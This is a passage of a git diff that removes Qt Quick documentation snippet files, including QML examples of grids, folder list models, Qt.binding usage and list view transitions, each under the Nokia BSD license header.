of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -//![0] -import QtQuick 2.0 - -Text { - id: textElement - width: 200 - height: 200 - text: "Default text" - property string dynamicText: "Dynamic text" - onTextChanged: console.log(text) -} -//![0] diff --git a/doc/src/snippets/qml/folderlistmodel.qml b/doc/src/snippets/qml/folderlistmodel.qml deleted file mode 100644 index 5878640..0000000 --- a/doc/src/snippets/qml/folderlistmodel.qml +++ /dev/null @@ -1,61 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -//![0] -import QtQuick 2.0 -import Qt.labs.folderlistmodel 1.0 - -ListView { - width: 200; height: 400 - - FolderListModel { - id: folderModel - nameFilters: ["*.qml"] - } - - Component { - id: fileDelegate - Text { text: fileName } - } - - model: folderModel - delegate: fileDelegate -} -//![0] diff --git a/doc/src/snippets/qml/grid/grid-items.qml b/doc/src/snippets/qml/grid/grid-items.qml deleted file mode 100644 index 8afb170..0000000 --- a/doc/src/snippets/qml/grid/grid-items.qml +++ /dev/null @@ -1,58 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -import QtQuick 2.0 - -Rectangle { - width: 112; height: 112 - color: "#303030" - - Grid { - anchors.horizontalCenter: parent.horizontalCenter - anchors.verticalCenter: parent.verticalCenter - columns: 2 - spacing: 6 - - Rectangle { color: "#aa6666"; width: 50; height: 50 } - Rectangle { color: "#aaaa66"; width: 50; height: 50 } - Rectangle { color: "#9999aa"; width: 50; height: 50 } - Rectangle { color: "#6666aa"; width: 50; height: 50 } - } -} diff --git a/doc/src/snippets/qml/grid/grid-no-spacing.qml b/doc/src/snippets/qml/grid/grid-no-spacing.qml deleted file mode 100644 index c44eadc..0000000 --- a/doc/src/snippets/qml/grid/grid-no-spacing.qml +++ /dev/null @@ -1,57 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -import QtQuick 2.0 - -Rectangle { - width: 112; height: 112 - color: "#303030" - - Grid { - anchors.horizontalCenter: parent.horizontalCenter - anchors.verticalCenter: parent.verticalCenter - columns: 2 - - Rectangle { color: "#aa6666"; width: 50; height: 50 } - Rectangle { color: "#aaaa66"; width: 50; height: 50 } - Rectangle { color: "#9999aa"; width: 50; height: 50 } - Rectangle { color: "#6666aa"; width: 50; height: 50 } - } -} diff --git a/doc/src/snippets/qml/grid/grid-spacing.qml b/doc/src/snippets/qml/grid/grid-spacing.qml deleted file mode 100644 index 1385492..0000000 --- a/doc/src/snippets/qml/grid/grid-spacing.qml +++ /dev/null @@ -1,60 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -//! [document] -import QtQuick 2.0 - -Rectangle { - width: 112; height: 112 - color: "#303030" - - Grid { - anchors.horizontalCenter: parent.horizontalCenter - anchors.verticalCenter: parent.verticalCenter - columns: 2 - spacing: 6 - - Rectangle { color: "#aa6666"; width: 50; height: 50 } - Rectangle { color: "#aaaa66"; width: 50; height: 50 } - Rectangle { color: "#9999aa"; width: 50; height: 50 } - Rectangle { color: "#6666aa"; width: 50; height: 50 } - } -} -//! [document] diff --git a/doc/src/snippets/qml/qml-intro/images/qt-logo.svg b/doc/src/snippets/qml/qml-intro/images/qt-logo.svg deleted file mode 100644 index 8c018be..0000000 --- a/doc/src/snippets/qml/qml-intro/images/qt-logo.svg +++ /dev/null @@ -1,104 +0,0 @@ - - - - - - image/svg+xml - - - - - - SVG generated by Lineform - - - - - - - - - - - - - - - diff --git a/doc/src/snippets/qml/qtBinding.1.qml b/doc/src/snippets/qml/qtBinding.1.qml deleted file mode 100644 index acec88a..0000000 --- a/doc/src/snippets/qml/qtBinding.1.qml +++ /dev/null @@ -1,55 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -import QtQuick 2.0 - -//![0] -Item { - property bool someCondition: true - property int edgePosition - - Component.onCompleted: { - if (someCondition == true) { - // bind to the result of the binding expression passed to Qt.binding() - edgePosition = Qt.binding(function() { return x + width }) - } - } -} -//![0] diff --git a/doc/src/snippets/qml/qtBinding.2.qml b/doc/src/snippets/qml/qtBinding.2.qml deleted file mode 100644 index 9b78bc3..0000000 --- a/doc/src/snippets/qml/qtBinding.2.qml +++ /dev/null @@ -1,58 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -import QtQuick 2.0 - -//![0] -Item { - id: root - property string dynamicText: "Root text" - - Component.onCompleted: { - var c = Qt.createComponent("DynamicText.qml") - - var obj1 = c.createObject(root, { 'text': Qt.binding(function() { return dynamicText + ' extra text' }) }) - root.dynamicText = "Modified root text" - - var obj2 = c.createObject(root, { 'text': Qt.binding(function() { return this.dynamicText + ' extra text' }) }) - obj2.dynamicText = "Modified text element text" - } -} -//![0] diff --git a/doc/src/snippets/qml/qtBinding.3.qml b/doc/src/snippets/qml/qtBinding.3.qml deleted file mode 100644 index a27914c..0000000 --- a/doc/src/snippets/qml/qtBinding.3.qml +++ /dev/null @@ -1,63 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -import QtQuick 2.0 - -//![0] -Item { - id: root - property string dynamicText: "Root text" - - Loader { - id: loaderOne - onLoaded: root.dynamicText = "Modified root text" - } - - Loader { - id: loaderTwo - onLoaded: item.dynamicText = "Modified dynamic text" - } - - Component.onCompleted: { - loaderOne.setSource("DynamicText.qml", { 'text': Qt.binding(function() { return dynamicText + ' extra text' }) }) - loaderTwo.setSource("DynamicText.qml", { 'text': Qt.binding(function() { return this.dynamicText + ' extra text' }) }) - } -} -//![0] diff --git a/doc/src/snippets/qml/qtBinding.4.qml b/doc/src/snippets/qml/qtBinding.4.qml deleted file mode 100644 index 0155957..0000000 --- a/doc/src/snippets/qml/qtBinding.4.qml +++ /dev/null @@ -1,54 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -import QtQuick 2.0 - -//![0] -Item { - width: 50 - property var storedBindings: [ Qt.binding(function() { return x + width }) ] // stored - property int a: Qt.binding(function() { return x + width }) // error! - property int b - - Component.onCompleted: { - b = storedBindings[0] // causes binding assignment - } -} -//![0] diff --git a/doc/src/snippets/qml/qtbinding/resources/example.qrc b/doc/src/snippets/qml/qtbinding/resources/example.qrc deleted file mode 100644 index 5e49415..0000000 --- a/doc/src/snippets/qml/qtbinding/resources/example.qrc +++ /dev/null @@ -1,10 +0,0 @@ - - - - - main.qml - images/background.png - - - - diff --git a/doc/src/snippets/qml/qtbinding/resources/resources.pro b/doc/src/snippets/qml/qtbinding/resources/resources.pro deleted file mode 100644 index 5aee288..0000000 --- a/doc/src/snippets/qml/qtbinding/resources/resources.pro +++ /dev/null @@ -1,4 +0,0 @@ -QT += qml - -SOURCES += main.cpp -RESOURCES += example.qrc diff --git a/doc/src/snippets/qml/script.js b/doc/src/snippets/qml/script.js deleted file mode 100644 index f55dee3..0000000 --- a/doc/src/snippets/qml/script.js +++ /dev/null @@ -1,4 +0,0 @@ -WorkerScript.onMessage = function(message) { - // ... long-running operations and calculations are done here - WorkerScript.sendMessage({ 'reply': 'Mouse is at ' + message.x + ',' + message.y }) -} diff --git a/doc/src/snippets/qml/viewtransitions/viewtransitions-basic.qml b/doc/src/snippets/qml/viewtransitions/viewtransitions-basic.qml deleted file mode 100644 index cb94acb..0000000 --- a/doc/src/snippets/qml/viewtransitions/viewtransitions-basic.qml +++ /dev/null @@ -1,70 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -import QtQuick 2.0 - -//! [0] -ListView { - width: 240; height: 320 - model: ListModel {} - - delegate: Rectangle { - width: 100; height: 30 - border.width: 1 - color: "lightsteelblue" - Text { - anchors.centerIn: parent - text: name - } - } - - add: Transition { - NumberAnimation { property: "opacity"; from: 0; to: 1.0; duration: 400 } - NumberAnimation { property: "scale"; from: 0; to: 1.0; duration: 400 } - } - - displaced: Transition { - NumberAnimation { properties: "x,y"; duration: 400; easing.type: Easing.OutBounce } - } - - focus: true - Keys.onSpacePressed: model.insert(0, { "name": "Item " + model.count }) -} -//! [0] diff --git a/doc/src/snippets/qml/viewtransitions/viewtransitions-delayedbyindex.qml b/doc/src/snippets/qml/viewtransitions/viewtransitions-delayedbyindex.qml deleted file mode 100644 index 84c4848..0000000 --- a/doc/src/snippets/qml/viewtransitions/viewtransitions-delayedbyindex.qml +++ /dev/null @@ -1,78 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -import QtQuick 2.0 - -ListView { - width: 240; height: 320 - model: ListModel {} - - delegate: Rectangle { - width: 100; height: 30 - border.width: 1 - color: "lightsteelblue" - Text { - anchors.centerIn: parent - text: name - } - } - - add: Transition { - NumberAnimation { property: "opacity"; from: 0; to: 1.0; duration: 400 } - NumberAnimation { property: "scale"; from: 0; to: 1.0; duration: 400 } - } - -//! [0] - displaced: Transition { - id: dispTrans - SequentialAnimation { - PauseAnimation { - duration: (dispTrans.ViewTransition.index - - dispTrans.ViewTransition.targetIndexes[0]) * 100 - } - NumberAnimation { properties: "x,y"; duration: 400; easing.type: Easing.OutBounce } - } - } -//! [0] - - focus: true - Keys.onSpacePressed: model.insert(0, { "name": "Item " + model.count }) -} - diff --git a/doc/src/snippets/qml/viewtransitions/viewtransitions-intermediatemove.qml b/doc/src/snippets/qml/viewtransitions/viewtransitions-intermediatemove.qml deleted file mode 100644 index 89353b4..0000000 --- a/doc/src/snippets/qml/viewtransitions/viewtransitions-intermediatemove.qml +++ /dev/null @@ -1,90 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** 